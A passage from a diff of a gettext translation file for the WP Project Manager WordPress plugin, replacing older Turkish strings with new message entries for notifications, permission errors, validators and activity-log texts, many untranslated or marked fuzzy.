Görüntüle" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -# @ cpm -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Proje Görüntüle" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -# @ cpm -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Liste Güncelle" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -# @ cpm -#~ msgid "Project created by %s" -#~ msgstr "Projeyi Oluşturan%s" - -# @ cpm -#~ msgid "Project details updated by %s" -#~ msgstr "Proje detaylarını enson güncelleyen %s" - -# @ cpm -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Mesaj \"%s\" , \"%s\"Tarafından silindi" - -# @ cpm -#~ msgid "%s deleted a comment" -#~ msgstr "%s hat einen Kommentar gelöscht" - -# @ cpm -#~ msgid "Add a comment..." -#~ msgstr "Yorum ekle..." - -# @ cpm -#~ msgid "Messages" -#~ msgstr "Mesajlar" - -# @ cpm -#~ msgid "message post type" -#~ msgstr "mesaj gönderim tipi" - -# @ cpm -#~ msgid "Edit Message" -#~ msgstr "Mesajı Düzenle" - -# @ cpm -#~ msgid "Search Messages" -#~ msgstr "Mesajlarda Ara" - -# @ cpm -#~ msgid "Parent Message" -#~ msgstr "Ana Mesaj" - -# @ cpm -#~ msgid "Add New Milestone" -#~ msgstr "Yeni Kilometre Taşı Ekle" - -# @ cpm -#~ msgid "New Milestone" -#~ msgstr "Yeni Kilometre Taşı" - -# @ cpm -#~ msgid "View Milestone" -#~ msgstr "Kilometre Taşı Görüntüle" - -# @ cpm -#~ msgid "Search Milestone" -#~ msgstr "Kilometre Taşı Ara" - -# @ cpm -#~ msgid "Parent Milestone" -#~ msgstr "Ana Kilometre Taşı" - -# @ cpm -#~ msgid "project manager post type" -#~ msgstr "proje yönetimi gönderi tipi" - -# @ cpm -#~ msgid "Add Project" -#~ msgstr "Proje Ekle" - -# @ cpm -#~ msgid "Edit Project" -#~ msgstr "Proje Düzenle" - -# @ cpm -#~ msgid "Search Project" -#~ msgstr "Proje Ara" - -# @ cpm -#~ msgid "Parent Project" -#~ msgstr "Ana Proje" - -# @ cpm -#~ msgid "Add Task List" -#~ msgstr "Görev Listesi Ekle" - -# @ cpm -#~ msgid "Add New Task List" -#~ msgstr "Yeni Görev Listesi Ekle" - -# @ cpm -#~ msgid "Edit Task List" -#~ msgstr "Görevl Listesini Düzenle" - -# @ cpm -#~ msgid "View Task List" -#~ msgstr "Görev Listesini Görüntüle" - -# @ cpm -#~ msgid "Search Task List" -#~ msgstr "Görev Listesinde Ara" - -# @ cpm -#~ msgid "Parent Task List" -#~ msgstr "Ana Görev Listesi" - -# @ cpm -#~ msgid "Add New Task" -#~ msgstr "Yeni Görev Ekle" - -# @ cpm -#~ msgid "Edit Task" -#~ msgstr "Görev Düzenle" - -# @ cpm -#~ msgid "New Task" -#~ msgstr "Yeni Görev" - -# @ cpm -#~ msgid "Search Task" -#~ msgstr "Görev Ara" - -# @ cpm -#~ msgid "Parent Task" -#~ msgstr "Ana görev" - -# @ cpm -#~ msgid "Delete project" -#~ msgstr "Projeyi Sil" - -# @ cpm -#~ msgid "Add this comment" -#~ msgstr "Bu yorumu ekle" - -# @ cpm -#~ msgid "late" -#~ msgstr "geç" - -# @ cpm -#~ msgid "Attached to %s by %s" -#~ msgstr "Bağlı dosya %s - %s" - -# @ cpm -#~ msgid "Error: Message not found" -#~ msgstr "Hata: Mesaj bulunamadı" - -# @ cpm -#~ msgid "Error: Project not found" -#~ msgstr "Hata: Proje bulunamadı" - -# @ cpm -#~ msgid "Error: Permission denied" -#~ msgstr "Hata: izin verilmedi" - -# @ cpm -#, fuzzy -#~ msgid "1 Comment" -#~ msgid_plural "%d Comments" -#~ msgstr[0] "1 Yorum" -#~ msgstr[1] "1 Yorum" - -# @ cpm -#~ msgid "Message %s created by %s" -#~ msgstr "Mesaj %s yazan %s" - -# @ cpm -#~ msgid "Message %s updated by %s" -#~ msgstr "Mesaj %s düzenleyen %s" - -# @ cpm -#~ msgid "To-do list %s created by %s" -#~ msgstr "Yapılacaklar listesi %s oluşturan %s" - -# @ cpm -#~ msgid "To-do list %s updated by %s" -#~ msgstr "Yapılacaklar listesi %s düzenleyen %s" - -# @ cpm -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "Yapılacaklar listesi \"%s\" , \"%s\"Tarafından silindi" - -# @ cpm -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "Yapılacaklar listesi %s yeni bir öğe eklendi %s ekleyen kişi %s" - -# @ cpm -#~ msgid "To-do %s updated by %s" -#~ msgstr "Yapılacak iş %s düzenleyen %s" - -# @ cpm -#~ msgid "To-do %s completed by %s" -#~ msgstr "Yapılacaklar iş %s tamamlandı %s" - -# @ cpm -#~ msgid "Marked to-do as done" -#~ msgstr "Yapıldı olarak işaretlendi" - -# @ cpm -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "Yapılacak iş %s yapılmamış olarak işaretlendi %s" - -# @ cpm -#~ msgid "Re-opened to-do" -#~ msgstr "Yeniden yapılacak" - -# @ cpm -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "Yapılacak iş \"%s\" yapılacaklar listesinden silindi %s , %s" - -# @ cpm -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Kilometre taşı \"%s\" ekleyen %s" - -# @ cpm -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Kilometre taşı \"%s\" düzenlendi %s" - -# @ cpm -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Kilometre taşı \"%s\" silindi %s " - -# @ cpm -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Kilometre taşı \"%s\" tamamlandı olarak işaretlendi %s " - -# @ cpm -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Kilometre taşı \"%s\" tamamlanmadı olarak işaretlendi %s" - -# @ cpm -#~ msgid "General" -#~ msgstr "Genel" - -# @ cpm -#~ msgid "No Messages Found" -#~ msgstr "Mesaj bulunamadı " - -# @ cpm -#~ msgid "No Messages Found in Trash" -#~ msgstr "Çöpte Mesaj Yok" - -# @ cpm -#~ msgid "No Milestone Found" -#~ msgstr "Kilometre Taşı Bulunamadı" - -# @ cpm -#~ msgid "No Milestone Found in Trash" -#~ msgstr "Çöpte Kilometre Taşı Bulunamadı" - -# @ cpm -#~ msgid "No Project Found in Trash" -#~ msgstr "Çöpte Proje Bulunamadı" - -# @ cpm -#~ msgid "No Task List Found" -#~ msgstr "Görev Listesi Bulunamadı" - -# @ cpm -#~ msgid "No Task List Found in Trash" -#~ msgstr "Çöpte Görev Listesi Bulunamadı" - -# @ cpm -#~ msgid "No Task Found" -#~ msgstr "Görev Bulunamadı" - -# @ cpm -#~ msgid "No Task Found in Trash" -#~ msgstr "Çöpte Görev Bulunamadı" - -# @ cpm -#~ msgid "Select co-workers" -#~ msgstr "Proje Çalışanı Seçin" - -# @ cpm -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Bu yapılacak öğeyi silmek istediğinize emin misiniz?" - -# @ cpm -#~ msgid "Add this to-do" -#~ msgstr "Bu öğeyi ekle" - -# @ cpm -#~ msgid "Add a new to-do" -#~ msgstr "Yeni Öğe Ekle" - -# @ cpm -#~ msgid "-- milestone --" -#~ msgstr "-- Kilometre Taşı --" - -# @ cpm -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "Yapılacaklar listesini silmek istediğinizden emin misiniz?" - -# @ cpm -#~ msgid "Update comment" -#~ msgstr "Yorumu güncelle" - -# @ cpm -#~ msgid "Edit milestone" -#~ msgstr "Kilometre Taşı Düzenle" - -# @ cpm -#~ msgid "Mark un-complete" -#~ msgstr "Tamamlanmadı İşaretle" - -# @ cpm -#~ msgid "To-do List" -#~ msgstr "Yapılacaklar Listesi" - -# @ cpm -#~ msgid "Notify Co-workers" -#~ msgstr "Proje Sorumlularını Haberdar Et" - -# @ cpm -#~ msgid "thread" -#~ msgstr "iş" - -# @ cpm -#~ msgid "One Comment" -#~ msgid_plural "%s Comments" -#~ msgstr[0] "Bir Yorum" -#~ msgstr[1] "%s Yorum" - -# @ cpm -#~ msgid "Discuss this to-do list" -#~ msgstr "Yapılacak listesini tartışın" - -# @ default -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "Dosya boyutu (MB) Örn: 2" - -# @ cpm -#~ msgid "New Project Subject" -#~ msgstr "Yeni Proje Konusu" - -# @ cpm -#~ msgid "New Project Body" -#~ msgstr "Yeni proje açıklaması" - -# @ cpm -#~ msgid "New Message Subject" -#~ msgstr "Yeni mesaj konusu" - -# @ cpm -#~ msgid "New Message Body" -#~ msgstr "Mesaj" - -# @ cpm -#~ msgid "New Comment Subject" -#~ msgstr "Yeni yorum konusu" - -# @ cpm -#~ msgid "New Assigned Task Subject" -#~ msgstr "Yeni Atanan Görev Konusu" - -# @ cpm -#~ msgid "-- assign to --" -#~ msgstr "-- ata --" - -# @ cpm -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Dosyaa Eklemek için, Dosya " -#~ "Seçin." - -# @ cpm -#~ msgid "%d message" -#~ msgid_plural "%d messages" -#~ msgstr[0] "%d mesaj" -#~ msgstr[1] "%d mesaj" - -# @ cpm -#~ msgid "%d to-do list" -#~ msgid_plural "%d to-do lists" -#~ msgstr[0] "%d yapılacak listesi" -#~ msgstr[1] "%d yapılacak listeleri" - -# @ cpm -#~ msgid "%d to-do" -#~ msgid_plural "%d to-dos" -#~ msgstr[0] "%d yapılacak" -#~ msgstr[1] "%d yapılacaklar" - -# @ cpm -#~ msgid "%d milestone" -#~ msgid_plural "%d milestones" -#~ msgstr[0] "%d kilometre taşı" -#~ msgstr[1] "%d kilometre taşları" - -# @ cpm -#~ msgid "%d Comments" -#~ msgstr "%d Yorum" - -# @ cpm -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Tamamlandı %s , % s)" - -# @ cpm -#~ msgid "Tasklist name" -#~ msgstr "Görev Listesi Adı" - -# @ cpm -#~ msgid "Add a to-do" -#~ msgstr "Yapılacak Öğe Ekle" - -# @ cpm -#~ msgid "Message details here" -#~ msgstr "Mesajınızı buraya yazın." - -# @ cpm -#~ msgid "Details about milestone (optional)" -#~ msgstr "Kilometre taşı hakkında ayrıntılar (isteğe bağlı)" - -# @ cpm -#~ msgid "Reopen" -#~ msgstr "Tekrar Aç" - -# @ cpm -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "" -#~ " İndiryada şuraya gidin Tartışma." - -# @ cpm -#~ msgid "No Files Found!" -#~ msgstr "Dosya Bulunamadı!" - -# @ cpm -#~ msgid "Add New" -#~ msgstr "Yeni Ekle" - -# @ cpm -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Hiç mesaj bulunamadı! Ne hakkında mesaj yazıyordunuz?" - -# @ cpm -#~ msgid "← back" -#~ msgstr "← geri" - -# @ cpm -#~ msgid "No Milestone Found!" -#~ msgstr "Kilometre Taşı Bulundu!" - -# @ cpm -#~ msgid "Add new milestone" -#~ msgstr "Yeni Kilometre Taşı Ekle" - -# @ cpm -#~ msgid "Project Info" -#~ msgstr "Proje Hakkında" - -# @ cpm -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Yapılacaklar listesi bulunamadı!" - -# @ cpm -#~ msgid "Discuss this to-do" -#~ msgstr "Bu listeyi tartışın" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager v0.4.2\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:55+0600\n" +"Last-Translator: Fatih KURU \n" +"Language-Team: \n" +"Language: de_DE\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=n != 1;\n" +"X-Generator: Poedit 2.0.8\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" +"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" +"X-Poedit-Basepath: ..\n" +"X-Textdomain-Support: yes\n" +"X-Poedit-SearchPath-0: .\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Mesaj" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Görev Listesi" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Görev" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "Dosyalar" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Projeyi Güncelle" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +# @ cpm +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Daha fazla yükle ..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +# @ default +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Kabul Edilen Dosya" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +# @ cpm +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Ayarlar" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +# @ cpm +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "UNV-Proje" + +# @ cpm +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Projeler" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +# @ cpm +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "Görev Listesi Detay" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +# @ cpm +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +# @ cpm +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +# @ cpm +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Proje" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +# @ cpm +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Görev Listesi" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +# @ cpm +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Kilometre Taşı" + +# @ cpm +#: texts/resource_types.php:20 +#, fuzzy +#| msgid "%d comment" +#| msgid_plural "%d comments" +msgid "comment" +msgstr "%d yorum" + +# @ cpm +#: 